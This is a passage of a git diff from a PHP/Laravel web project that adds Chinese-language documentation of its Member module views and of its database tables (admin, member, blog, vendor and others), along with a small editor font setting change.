`oauthButtons.blade.php`: OAuth 登录按钮的视图片段。 +* `oauthProxy.blade.php`: OAuth 授权代理页面。 +* `registerDialog.blade.php`: 用户注册对话框模板。 +* `registerPhone.blade.php`: 手机号注册页面(可能是完整页面)。 +* `login.blade.php`: 用户名密码登录页面。 +* `loginDialog.blade.php`: 用户名密码登录对话框模板。 +* `loginOther.blade.php`: 其他登录方式(如 OAuth)的页面。 +* `loginOtherDialog.blade.php`: 其他登录方式的对话框模板。 +* `loginPhoneDialog.blade.php`: 手机号登录对话框模板。 + +该目录下还有子目录 (`inc`, `memberMoneyCharge`, `memberMoneyCash`, `memberProfile`, `memberMessage`, `memberAddress`, `memberCredit`, `memberMoney`, `memberData`, `memberVip`, `member`) 存放具体会员功能区域的视图文件。 + +**module/Member/view/pc/inc:** 存放会员模块在 PC 端使用的可重用视图片段。 + +* `registerCaptcha.blade.php`: 注册页面中用于显示和处理验证码的 Blade 模板片段。 +* `loginPanel.blade.php`: 登录表单面板的 Blade 模板片段,可能包含用户名/密码或其他登录方式的输入框。 +* `registerPhonePanel.blade.php`: 手机号注册表单面板的 Blade 模板片段。 +* `registerPhoneScript.blade.php`: 手机号注册相关的 JavaScript 脚本。 +* `retrieveNav.blade.php`: 找回密码流程中导航部分的 Blade 模板片段。 + +**module/Member/view/pc/memberMoneyCharge:** 存放会员充值相关的视图文件。 + +* `index.blade.php`: 会员充值页面的主视图文件。 + +**module/Member/view/pc/memberMoneyCash:** 存放会员提现相关的视图文件。 + +* `index.blade.php`: 会员提现功能的主视图文件。 +* `log.blade.php`: 显示会员提现记录或历史的视图文件。 +* `logItem.blade.php`: 用于显示提现记录列表中单个条目的 Blade 模板片段。 + +**module/Member/view/pc/memberProfile:** 存放会员个人资料和安全设置相关的视图文件。 + +* `email.blade.php`: 管理或修改会员邮箱的页面。 +* `nickname.blade.php`: 修改会员昵称的页面。 +* `oauth.blade.php`: 管理会员绑定的 OAuth(第三方)账号的页面。 +* `password.blade.php`: 修改会员登录密码的页面。 +* `phone.blade.php`: 管理或修改会员手机号的页面。 +* `profileNav.blade.php`: 个人资料相关页面的导航片段。 +* `securityNav.blade.php`: 安全设置相关页面的导航片段。 +* `avatar.blade.php`: 管理或上传会员头像的页面。 +* `delete.blade.php`: 会员账号注销/删除的页面。 + +**module/Member/view/pc/memberMessage:** 存放会员消息相关的视图文件。 + +* `item.blade.php`: 用于显示会员消息列表中单个消息条目的 Blade 模板片段。 + +**module/Member/view/pc/memberAddress:** 存放会员地址管理相关的视图文件。 + +* `index.blade.php`: 会员地址管理页面的主视图文件,可能用于展示地址列表。 +* `item.blade.php`: 用于显示会员地址列表中单个地址条目的 Blade 模板片段。 + +**module/Member/view/pc/memberCredit:** 存放会员积分相关的视图文件。 + +* `index.blade.php`: 会员积分页面的主视图文件,可能用于展示积分余额和积分变动记录列表。 +* `item.blade.php`: 用于显示积分变动记录列表中单个条目的 Blade 模板片段。 + +**module/Member/view/pc/memberMoney:** 存放会员资金相关的视图文件。 + +* `index.blade.php`: 会员资金页面的主视图文件,可能用于展示资金余额和资金变动记录列表。 +* `item.blade.php`: 用于显示资金变动记录列表中单个条目的 Blade 模板片段。 + +**module/Member/view/pc/memberData:** 存放会员数据相关的视图文件。 + +* `fileManager.blade.php`: 会员文件管理功能的视图文件。 + +**module/Member/view/field:** 存放会员模块中用于表单字段或选择器相关的视图文件。 + +* `adminUserSelector.blade.php`: 用于在后台或其他需要选择管理员用户的场景下的 Blade 模板片段。 +* `memberUsers.blade.php`: 用于在表单字段或其他需要显示或选择会员用户列表的场景下的 Blade 模板片段。 + +**module/Member/view/admin:** 存放会员模块后台相关的视图文件。 + +* **module/Member/view/admin/memberUser:** 存放会员用户管理相关的后台视图文件。 + * `show.blade.php`: 用于在后台显示单个会员用户详细信息的 Blade 模板文件。 +* **module/Member/view/admin/config:** 存放会员模块后台配置相关的视图文件。 + * `param.blade.php`: 用于在后台配置会员模块参数的 Blade 模板文件。 + +**module/Member/view/inc:** 存放会员模块可重用的视图片段。 + +* `memberNavMenu.blade.php`: 用于会员导航菜单的 Blade 模板片段。 + +### 数据库说明 (database) + +`database` 目录主要存放与数据库相关的定义和管理文件,例如迁移、填充和工厂。 + +* `.gitignore`: Git 忽略文件配置。 +* `migrations/`: 存放数据库迁移文件。这些文件用于通过代码定义和修改数据库结构(创建、修改或删除表、列等),并进行版本控制。 + +### 数据库表字段定义文档 (docs/database/tables) + +详细的数据库表结构和字段定义文档生成在 `docs/database/tables/` 目录下。每个 Markdown 文件对应一个数据库表。 + +### 数据库表结构文档 + +- [blog](mdc:docs/database/tables/blog.md) +- [blog_message](mdc:docs/database/tables/blog_message.md) +- [blog_category](mdc:docs/database/tables/blog_category.md) +- [blog_comment](mdc:docs/database/tables/blog_comment.md) +- [member_vip_set](mdc:docs/database/tables/member_vip_set.md) +- [member_meta](mdc:docs/database/tables/member_meta.md) +- [member_user](mdc:docs/database/tables/member_user.md) +- [member_login_log](mdc:docs/database/tables/member_login_log.md) +- [member_data_statistic](mdc:docs/database/tables/member_data_statistic.md) +- [member_vip_right](mdc:docs/database/tables/member_vip_right.md) +- [member_card](mdc:docs/database/tables/member_card.md) +- [visit_statistic](mdc:docs/database/tables/visit_statistic.md) +- [vendor](mdc:docs/database/tables/vendor.md) +- [partner](mdc:docs/database/tables/partner.md) +- [nav](mdc:docs/database/tables/nav.md) +- [banner](mdc:docs/database/tables/banner.md) +- [aigc_base_user_resource](mdc:docs/database/tables/aigc_base_user_resource.md) +- [aigc_base_resource_package](mdc:docs/database/tables/aigc_base_resource_package.md) +- [admin_manager_department](mdc:docs/database/tables/admin_manager_department.md) +- [admin_manager_user](mdc:docs/database/tables/admin_manager_user.md) + +### 应用程序核心说明 (app) + +`app` \ No newline at end of file diff --git a/.vscode/settings.json b/.vscode/settings.json index a2a83235..f13ea455 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,4 +1,4 @@ { - "editor.fontFamily": "'Maple Mono ExtraLight', Menlo, Monaco, 'Courier New', monospace", + "editor.fontFamily": "'mononoki','Maple Mono ExtraLight', Menlo, Monaco, 'Courier New', monospace", "editor.fontSize": 16 } \ No newline at end of file diff --git a/docs/database/tables/admin_log.md b/docs/database/tables/admin_log.md new file mode 100644 index 00000000..86cf14f3 --- /dev/null +++ b/docs/database/tables/admin_log.md @@ -0,0 +1,12 @@ +## Table: admin_log + +**Description:** 存储后台管理操作日志。 + +**Columns:** + +* `id`: INTEGER - Primary Key, Auto-Increment +* `created_at`: TIMESTAMP - Stores creation timestamp +* `updated_at`: TIMESTAMP - Stores last update timestamp +* `adminUserId`: INTEGER - Nullable, Comment: '用户ID' +* `type`: TINY INTEGER - Nullable, Comment: '类型' +* `summary`: VARCHAR(400) - Nullable, Comment: '摘要' \ No newline at end of file diff --git a/docs/database/tables/admin_log_data.md b/docs/database/tables/admin_log_data.md new file mode 100644 index 00000000..a52ad18b --- /dev/null +++ b/docs/database/tables/admin_log_data.md @@ -0,0 +1,10 @@ +## Table: admin_log_data + +**Description:** 存储后台管理操作日志的详细内容。 + +**Columns:** + +* `id`: INTEGER - Primary Key, Auto-Increment +* `created_at`: TIMESTAMP - Stores creation timestamp +* `updated_at`: TIMESTAMP - Stores last update timestamp +* `content`: TEXT - Nullable, Comment: '内容' \ No newline at end of file diff --git a/docs/database/tables/admin_manager_department.md b/docs/database/tables/admin_manager_department.md new file mode 100644 index 00000000..9fd1007e --- /dev/null +++ b/docs/database/tables/admin_manager_department.md @@ -0,0 +1,10 @@ +# 数据库表: `admin_manager_department` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ---------- | ---------- | -------- | --------- | +| id | increments | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| pid | integer | 是 | 父级ID | +| title | string(50) | 是 | 名称 | +| sort | integer | 是 | 排序 | \ No newline at end of file diff --git a/docs/database/tables/admin_manager_user.md b/docs/database/tables/admin_manager_user.md new file mode 100644 index 00000000..46f94ed6 --- /dev/null +++ b/docs/database/tables/admin_manager_user.md @@ -0,0 +1,20 @@ +# 数据库表: `admin_manager_user` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| -------------- | ----------- | -------- | ---------- | +| id | increments | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| username | string(50) | 是 | 用户名 | +| password | char(32) | 是 | 密码 | +| password_salt | char(16) | 是 | 密码盐 | +| nickname | string(50) | 是 | 昵称 | +| avatar | string(200) | 是 | 头像 | +| department_id | integer | 是 | 部门ID | +| is_super | boolean | 是 | 是否超级管理员| +| roles | string(200) | 是 | 角色列表 | +| latest_login_ip| string(20) | 是 | 最新登录IP | + +**索引:** + +* `username` \ No newline at end of file diff --git a/docs/database/tables/admin_role.md b/docs/database/tables/admin_role.md new file mode 100644 index 00000000..fd6d7984 --- /dev/null +++ b/docs/database/tables/admin_role.md @@ -0,0 +1,10 @@ +## Table: admin_role + +**Description:** 存储后台管理角色信息。 + +**Columns:** + +* `id`: INTEGER - Primary Key, Auto-Increment +* `created_at`: TIMESTAMP - Stores creation timestamp +* `updated_at`: TIMESTAMP - Stores last update timestamp +* `name`: VARCHAR(200) - Nullable, Comment: '角色名称' \ No newline at end of file diff --git a/docs/database/tables/admin_role_rule.md b/docs/database/tables/admin_role_rule.md new file mode 100644 index 00000000..43bfc2ed --- /dev/null +++ b/docs/database/tables/admin_role_rule.md @@ -0,0 +1,15 @@ +## Table: admin_role_rule + +**Description:** 存储后台管理角色与权限规则的关联信息。 + +**Columns:** + +* `id`: INTEGER - Primary Key, Auto-Increment +* `created_at`: TIMESTAMP - Stores creation timestamp +* `updated_at`: TIMESTAMP - Stores last update timestamp +* `roleId`: UNSIGNED INTEGER - Nullable, Comment: '角色ID' +* `rule`: VARCHAR(200) - Nullable, Comment: '角色' + +**Indexes:** + +* `roleId` \ No newline at end of file diff --git a/docs/database/tables/admin_upload.md b/docs/database/tables/admin_upload.md new file mode 100644 index 00000000..6b6240eb --- /dev/null +++ b/docs/database/tables/admin_upload.md @@ -0,0 +1,19 @@ +## Table: admin_upload + +**Description:** 存储管理员上传文件的信息。 + +**Columns:** + +* `id`: INTEGER - Primary Key, Auto-Increment +* `created_at`: TIMESTAMP - Stores creation timestamp +* `updated_at`: TIMESTAMP - Stores last update timestamp +* `category`: VARCHAR(10) - Nullable, Comment: '大类' +* `dataId`: INTEGER - Nullable, Comment: '文件ID' +* `adminUploadCategoryId`: INTEGER - Nullable, Comment: '分类ID' +* `userId`: INTEGER - Nullable, Comment: '' +* `uploadCategoryId`: INTEGER - Nullable, Comment: '' + +**Indexes:** + +* `adminUploadCategoryId` +* `userId, uploadCategoryId` \ No newline at end of file diff --git a/docs/database/tables/admin_upload_category.md b/docs/database/tables/admin_upload_category.md new file mode 100644 index 00000000..b449c9d3 --- /dev/null +++ b/docs/database/tables/admin_upload_category.md @@ -0,0 +1,18 @@ +## Table: admin_upload_category + +**Description:** 存储管理员上传文件分类的信息。 + +**Columns:** + +* `id`: INTEGER - Primary Key, Auto-Increment +* `created_at`: TIMESTAMP - Stores creation timestamp +* `updated_at`: TIMESTAMP - Stores last update timestamp +* `category`: VARCHAR(10) - Nullable, Comment: '大类' +* `pid`: INTEGER - Nullable, Comment: '上级分类' +* `sort`: INTEGER - Nullable, Comment: '排序' +* `title`: VARCHAR(50) - Nullable, Comment: '名称' +* `userId`: INTEGER - Nullable, Comment: '' + +**Indexes:** + +* `userId, category` \ No newline at end of file diff --git a/docs/database/tables/admin_user.md b/docs/database/tables/admin_user.md new file mode 100644 index 00000000..437b6be5 --- /dev/null +++ b/docs/database/tables/admin_user.md @@ -0,0 +1,20 @@ +## Table: admin_user + +**Description:** 存储后台管理用户信息。 + +**Columns:** + +* `id`: INTEGER - Primary Key, Auto-Increment +* `created_at`: TIMESTAMP - Stores creation timestamp +* `updated_at`: TIMESTAMP - Stores last update timestamp +* `username`: VARCHAR(100) - Nullable, Comment: '用户名' +* `password`: CHAR(32) - Nullable, Comment: '密码' +* `passwordSalt`: CHAR(16) - Nullable, Comment: '密码Salt' +* `ruleChanged`: BOOLEAN - Nullable, Comment: '权限是否有改变' +* `lastLoginTime`: TIMESTAMP - Nullable, Comment: '上次登录时间' +* `lastLoginIp`: VARCHAR(20) - Nullable, Comment: '上次登录IP' +* `lastChangePwdTime`: TIMESTAMP - Nullable, Comment: '上次密码修改时间' + +**Indexes:** + +* `username` \ No newline at end of file diff --git a/docs/database/tables/admin_user_role.md b/docs/database/tables/admin_user_role.md new file mode 100644 index 00000000..7828a481 --- /dev/null +++ b/docs/database/tables/admin_user_role.md @@ -0,0 +1,16 @@ +## Table: admin_user_role + +**Description:** 存储后台管理用户与角色的关联信息。 + +**Columns:** + +* `id`: INTEGER - Primary Key, Auto-Increment +* `created_at`: TIMESTAMP - Stores creation timestamp +* `updated_at`: TIMESTAMP - Stores last update timestamp +* `userId`: UNSIGNED INTEGER - Nullable +* `roleId`: UNSIGNED INTEGER - Nullable + +**Indexes:** + +* `userId` +* `roleId` \ No newline at end of file diff --git a/docs/database/tables/aigc_base_resource_package.md b/docs/database/tables/aigc_base_resource_package.md new file mode 100644 index 00000000..182c31d6 --- /dev/null +++ b/docs/database/tables/aigc_base_resource_package.md @@ -0,0 +1,19 @@ +# 数据库表: `aigc_base_resource_package` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ---------- | ------------- | -------- | --------- | +| id | bigIncrements | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| title | string(50) | 是 | 名称 | +| image | string(100) | 是 | 图片 | +| price | decimal(20,2) | 是 | 价格 | +| biz | string(20) | 是 | 业务类型 | +| value | bigInteger | 是 | 资源数量 | +| visible | tinyInteger | 是 | 是否显示 | +| sort | integer | 是 | 排序 | +| status | tinyInteger | 是 | 状态 | +| desc | string(200) | 是 | 描述 | + + + \ No newline at end of file diff --git a/docs/database/tables/aigc_base_user_resource.md b/docs/database/tables/aigc_base_user_resource.md new file mode 100644 index 00000000..7cdfefda --- /dev/null +++ b/docs/database/tables/aigc_base_user_resource.md @@ -0,0 +1,14 @@ +# 数据库表: `aigc_base_user_resource` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ------------ | ------------- | -------- | --------- | +| id | bigIncrements | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| memberUserId | bigInteger | 是 | 用户ID | +| biz | string(20) | 是 | 业务类型 | +| balance | bigInteger | 是 | 资源余额 | + +**索引:** + +* `memberUserId` \ No newline at end of file diff --git a/docs/database/tables/banner.md b/docs/database/tables/banner.md new file mode 100644 index 00000000..21898f36 --- /dev/null +++ b/docs/database/tables/banner.md @@ -0,0 +1,11 @@ +# 数据库表: `banner` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ---------- | ---------- | -------- | --------- | +| id | increments | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| title | string(50) | 是 | 标题 | +| image | string(200)| 是 | 图片 | +| url | string(200)| 是 | 链接 | +| sort | integer | 是 | 排序 | \ No newline at end of file diff --git a/docs/database/tables/blog.md b/docs/database/tables/blog.md new file mode 100644 index 00000000..f100c950 --- /dev/null +++ b/docs/database/tables/blog.md @@ -0,0 +1,34 @@ +# 数据库表: `blog` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| -------------- | --------------------- | -------- | ------------------ | +| id | bigIncrements | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| title | string(200) | 是 | 标题 | +| tag | string(200) | 是 | 标签 | +| summary | string(400) | 是 | 摘要 | +| images | string(2000) | 是 | 图片 | +| content | text | 是 | 内容 | +| seoKeywords | string(200) | 是 | SEO关键词 | +| seoDescription | string(400) | 是 | SEO描述 | +| isPublished | tinyInteger | 是 | 发布 | +| postTime | timestamp | 是 | 发布时间 | +| clickCount | integer | 是 | 点击数 | +| memberUserId | integer | 是 | 会员ID | +| templateView | string(50) | 是 | | +| isHot | tinyInteger | 是 | 热门 | +| isRecommend | tinyInteger | 是 | 推荐 | +| visitMode | tinyInteger | 是 | 访问模式 | +| visitPassword | string(20) | 是 | 密码 | +| likeCount | integer | 是 | 点赞 | +| favCount | integer | 是 | 收藏 | +| isTop | tinyInteger | 是 | 置顶 | +| commentCount | integer | 是 | 评论数量 | + +**索引:** + +* `created_at` +* `memberUserId` + + \ No newline at end of file diff --git a/docs/database/tables/blog_category.md b/docs/database/tables/blog_category.md new file mode 100644 index 00000000..c2227ffe --- /dev/null +++ b/docs/database/tables/blog_category.md @@ -0,0 +1,15 @@ +# 数据库表: `blog_category` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ----------- | ----------- | -------- | -------------- | +| id | increments | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| pid | integer | 是 | | +| sort | integer | 是 | | +| title | string(200) | 是 | | +| blogCount | integer | 是 | 博客数 | +| cover | string(200) | 是 | | +| keywords | string(200) | 是 | | +| description | string(400) | 是 | | +| templateView| string(50) | 是 | | \ No newline at end of file diff --git a/docs/database/tables/blog_comment.md b/docs/database/tables/blog_comment.md new file mode 100644 index 00000000..bb9ba757 --- /dev/null +++ b/docs/database/tables/blog_comment.md @@ -0,0 +1,18 @@ +# 数据库表: `blog_comment` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ------------ | ------------- | -------- | -------------- | +| id | increments | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| blogId | integer | 是 | 博客 | +| username | string(200) | 是 | 称呼 | +| email | string(200) | 是 | 邮箱 | +| url | string(400) | 是 | 网址 | +| content | string(2000) | 是 | 内容 | +| memberUserId | integer | 是 | | +| status | tinyInteger | 是 | | + +**索引:** + +* `blogId` \ No newline at end of file diff --git a/docs/database/tables/blog_message.md b/docs/database/tables/blog_message.md new file mode 100644 index 00000000..8bdaa369 --- /dev/null +++ b/docs/database/tables/blog_message.md @@ -0,0 +1,16 @@ +# 数据库表: `blog_message` (原 `message`) + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ------------ | ----------------- | -------- | -------------- | +| id | bigIncrements | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| userId | unsignedBigInteger| 是 | 用户ID | +| status | tinyInteger | 是 | 1未读 2已读 | +| fromId | unsignedBigInteger| 是 | 来源用户ID | +| content | text | 是 | 消息内容(html) | +| memberUserId | integer | 是 | | + +**索引:** + +* `userId`, `status` \ No newline at end of file diff --git a/docs/database/tables/config.md b/docs/database/tables/config.md new file mode 100644 index 00000000..71808ab9 --- /dev/null +++ b/docs/database/tables/config.md @@ -0,0 +1,15 @@ +## Table: config + +**Description:** 存储应用程序的配置信息。 + +**Columns:** + +* `id`: INTEGER - Primary Key, Auto-Increment +* `created_at`: TIMESTAMP - Stores creation timestamp +* `updated_at`: TIMESTAMP - Stores last update timestamp +* `key`: VARCHAR(100) - Nullable, Comment: '键值' +* `value`: TEXT - Nullable, Comment: '值' + +**Indexes:** + +* `key` \ No newline at end of file diff --git a/docs/database/tables/data.md b/docs/database/tables/data.md new file mode 100644 index 00000000..4c5fa750 --- /dev/null +++ b/docs/database/tables/data.md @@ -0,0 +1,15 @@ +## Table: data + +**Description:** 存储文件上传相关的信息,包括文件路径、原始文件名和大小。 + +**Columns:** + +* `id`: INTEGER - Primary Key, Auto-Increment +* `created_at`: TIMESTAMP - Stores creation timestamp +* `updated_at`: TIMESTAMP - Stores last update timestamp +* `category`: VARCHAR(10) - Nullable, Comment: '大类' +* `path`: VARCHAR(40) - Nullable, Comment: '路径' +* `filename`: VARCHAR(200) - Nullable, Comment: '原始文件名' +* `size`: UNSIGNED INTEGER +* `driver`: VARCHAR(16) - Nullable, Comment: '大类' +* `domain`: VARCHAR(100) - Nullable, Comment: '域名' \ No newline at end of file diff --git a/docs/database/tables/data_temp.md b/docs/database/tables/data_temp.md new file mode 100644 index 00000000..a763cb68 --- /dev/null +++ b/docs/database/tables/data_temp.md @@ -0,0 +1,17 @@ +## Table: data_temp + +**Description:** 存储临时文件上传信息。 + +**Columns:** + +* `id`: INTEGER - Primary Key, Auto-Increment +* `created_at`: TIMESTAMP - Stores creation timestamp +* `updated_at`: TIMESTAMP - Stores last update timestamp +* `category`: VARCHAR(10) - Nullable, Comment: '大类' +* `path`: VARCHAR(40) - Nullable, Comment: '路径' +* `filename`: VARCHAR(200) - Nullable, Comment: '原始文件名' +* `size`: UNSIGNED INTEGER - Nullable, Comment: '文件大小' + +**Indexes:** + +* `category, path` \ No newline at end of file diff --git a/docs/database/tables/member_card.md b/docs/database/tables/member_card.md new file mode 100644 index 00000000..833e327d --- /dev/null +++ b/docs/database/tables/member_card.md @@ -0,0 +1,16 @@ +# 数据库表: `member_card` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ------------ | ------------- | -------- | --------- | +| id | bigIncrements | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| memberUserId | bigInteger | 是 | 用户ID | +| biz | string(20) | 是 | 业务 | +| expire | dateTime | 是 | 到期时间 | +| quotaUsed | bigInteger | 是 | 使用额度 | +| quotaTotal | bigInteger | 是 | 总额度 | + +**索引:** + +* `memberUserId`, `biz` \ No newline at end of file diff --git a/docs/database/tables/member_data_statistic.md b/docs/database/tables/member_data_statistic.md new file mode 100644 index 00000000..a9ecfe08 --- /dev/null +++ b/docs/database/tables/member_data_statistic.md @@ -0,0 +1,9 @@ +# 数据库表: `member_data_statistic` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ---------- | ---------- | -------- | --------- | +| id | bigIncrements| 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| sizeLimit | bigInteger | 是 | | +| sizeUsed | bigInteger | 是 | | \ No newline at end of file diff --git a/docs/database/tables/member_login_log.md b/docs/database/tables/member_login_log.md new file mode 100644 index 00000000..c126a7d3 --- /dev/null +++ b/docs/database/tables/member_login_log.md @@ -0,0 +1,19 @@ +# 数据库表: `member_login_log` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ------------ | ---------- | -------- | ----------- | +| id | bigIncrements| 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| memberUserId | bigInteger | 是 | 用户ID | +| deviceType | tinyInteger| 是 | 用户名 | +| ip | string(20) | 是 | 用户名 | +| userAgent | string(400)| 是 | 用户名 | +| ipLocation | string(100)| 是 | IP地址信息 | + +**索引:** + +* `memberUserId` +* `created_at` + + \ No newline at end of file diff --git a/docs/database/tables/member_meta.md b/docs/database/tables/member_meta.md new file mode 100644 index 00000000..54ec3e08 --- /dev/null +++ b/docs/database/tables/member_meta.md @@ -0,0 +1,14 @@ +# 数据库表: `member_meta` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ------------ | ------------- | -------- | --------- | +| id | bigIncrements | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| memberUserId | bigInteger | 是 | | +| name | string(30) | 是 | | +| value | string(1000) | 是 | | + +**索引:** + +* `memberUserId`, `name` (唯一) \ No newline at end of file diff --git a/docs/database/tables/member_user.md b/docs/database/tables/member_user.md new file mode 100644 index 00000000..73633043 --- /dev/null +++ b/docs/database/tables/member_user.md @@ -0,0 +1,43 @@ +# 数据库表: `member_user` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ---------------- | ----------------- | -------- | -------------- | +| id | bigIncrements | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| username | string(50) | 是 | 用户名 | +| phone | string(20) | 是 | 手机 | +| email | string(200) | 是 | 邮箱 | +| password | char(32) | 是 | 密码 | +| passwordSalt | char(16) | 是 | 密码Salt | +| lastLoginTime | timestamp | 是 | 上次登录时间 | +| lastLoginIp | string(20) | 是 | 上次登录Ip | +| phoneVerified | boolean | 是 | 手机已验证 | +| emailVerified | boolean | 是 | 邮箱已验证 | +| avatar | string(100) | 是 | 头像(小) | +| avatarMedium | string(100) | 是 | 头像(中) | +| avatarBig | string(100) | 是 | 头像(大) | +| gender | tinyInteger | 是 | 性别 | +| realname | string(20) | 是 | 真实姓名 | +| signature | string(200) | 是 | 个性签名 | +| messageCount | integer | 是 | 未读消息数量 | +| registerIp | string(20) | 是 | 注册IP | +| vipId | integer | 是 | | +| vipExpire | dateTime | 是 | VIP过期时间 | +| deleteAtTime | bigInteger | 是 | 已删除 | +| isDeleted | tinyInteger | 是 | 已删除 | +| groupId | integer | 是 | | +| registerIpName | string(30) | 是 | 注册IP定位 | +| area | string(200) | 是 | 所在地区 | +| contact_info | string(200) | 是 | 联系信息 | +| expert_status | tinyInteger | 否 | 大神入驻状态 (0:未申请, 1:待审核, 2:已审核, 3:审核失败)| + +**索引:** + +* `username` +* `phone` +* `email` +* `deleteAtTime` +* `nickname` +* `phone` (唯一) +* `email` (唯一) \ No newline at end of file diff --git a/docs/database/tables/member_vip_right.md b/docs/database/tables/member_vip_right.md new file mode 100644 index 00000000..c7b0be7c --- /dev/null +++ b/docs/database/tables/member_vip_right.md @@ -0,0 +1,12 @@ +# 数据库表: `member_vip_right` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ---------- | ------------- | -------- | --------- | +| id | bigIncrements | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| vipIds | string(200) | 是 | VIPID | +| title | string(200) | 是 | 标题 | +| desc | string(200) | 是 | 描述 | +| image | string(200) | 是 | 图标 | +| sort | integer | 是 | 排序 | \ No newline at end of file diff --git a/docs/database/tables/member_vip_set.md b/docs/database/tables/member_vip_set.md new file mode 100644 index 00000000..66520683 --- /dev/null +++ b/docs/database/tables/member_vip_set.md @@ -0,0 +1,21 @@ +# 数据库表: `member_vip_set` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ------------------- | ------------- | -------- | -------------- | +| id | increments | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| title | string(50) | 是 | 名称 | +| flag | string(50) | 是 | 标识 | +| pid | integer | 是 | 排序 | +| sort | integer | 是 | 排序 | +| isDefault | tinyInteger | 是 | 默认 | +| icon | string(100) | 是 | 图标 | +| price | decimal(20,2) | 是 | | +| vipDays | integer | 是 | | +| content | text | 是 | 说明 | +| creditPresentEnable | tinyInteger | 是 | | +| creditPresentValue | integer | 是 | | +| desc | string(200) | 是 | | +| visible | tinyInteger | 是 | | +| priceMarket | decimal(20,2) | 是 | 划线价 | \ No newline at end of file diff --git a/docs/database/tables/nav.md b/docs/database/tables/nav.md new file mode 100644 index 00000000..addf2f0d --- /dev/null +++ b/docs/database/tables/nav.md @@ -0,0 +1,12 @@ +# 数据库表: `nav`\n\n| 字段名称 | 数据类型 | 是否可空 | 备注/说明 |\n| ---------- | ---------- | -------- | --------- |\ +| id | increments | 否 | 主键 |\ +| created_at | timestamp | 是 | 创建时间 |\ +| updated_at | timestamp | 是 | 更新时间 |\ +| pid | integer | 是 | 父级ID |\ +| title | string(50) | 是 | 标题 |\ +| url | string(200)| 是 | 链接 |\ +| target | string(20) | 是 | 目标 |\ +| icon | string(50) | 是 | 图标 |\ +| sort | integer | 是 | 排序 |\ +| is_show | boolean | 是 | 是否显示 |\ +\n \ No newline at end of file diff --git a/docs/database/tables/partner.md b/docs/database/tables/partner.md new file mode 100644 index 00000000..70ac9485 --- /dev/null +++ b/docs/database/tables/partner.md @@ -0,0 +1,11 @@ +# 数据库表: `partner` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| ---------- | ---------- | -------- | --------- | +| id | increments | 否 | 主键 | +| created_at | timestamp | 是 | 创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| title | string(50) | 是 | 名称 | +| image | string(200)| 是 | 图标 | +| url | string(200)| 是 | 链接 | +| sort | integer | 是 | 排序 | \ No newline at end of file diff --git a/docs/database/tables/vendor.md b/docs/database/tables/vendor.md new file mode 100644 index 00000000..519b6c39 --- /dev/null +++ b/docs/database/tables/vendor.md @@ -0,0 +1,14 @@ +# 数据库表: `vendor`\n\n| 字段名称 | 数据类型 | 是否可空 | 备注/说明 |\ +| ---------- | ----------------- | -------- | -------------- |\ +| id | bigIncrements | 否 | 主键 |\ +| created_at | timestamp | 是 | 创建时间 |\ +| updated_at | timestamp | 是 | 更新时间 |\ +| deleted_at | timestamp | 是 | 删除时间 |\ +| name | string(100) | 否 | 供应商名称 |\ +| code | string(50) | 否 | 供应商编码 |\ +| contact | string(50) | 是 | 联系人 |\ +| phone | string(20) | 是 | 联系电话 |\ +| address | string(200) | 是 | 联系地址 |\ +| remark | text | 是 | 备注 |\ +| is_enabled | boolean | 否 | 是否启用 |\ +\n \ No newline at end of file diff --git a/docs/database/tables/visit_statistic.md b/docs/database/tables/visit_statistic.md new file mode 100644 index 00000000..a6a24b2a --- /dev/null +++ b/docs/database/tables/visit_statistic.md @@ -0,0 +1,15 @@ +# 数据库表: `visit_statistic` + +| 字段名称 | 数据类型 | 是否可空 | 备注/说明 | +| -------------- | ------------- | -------- | --------- | +| id | bigIncrements | 否 | 主键 | +| created_at | timestamp | 是 | 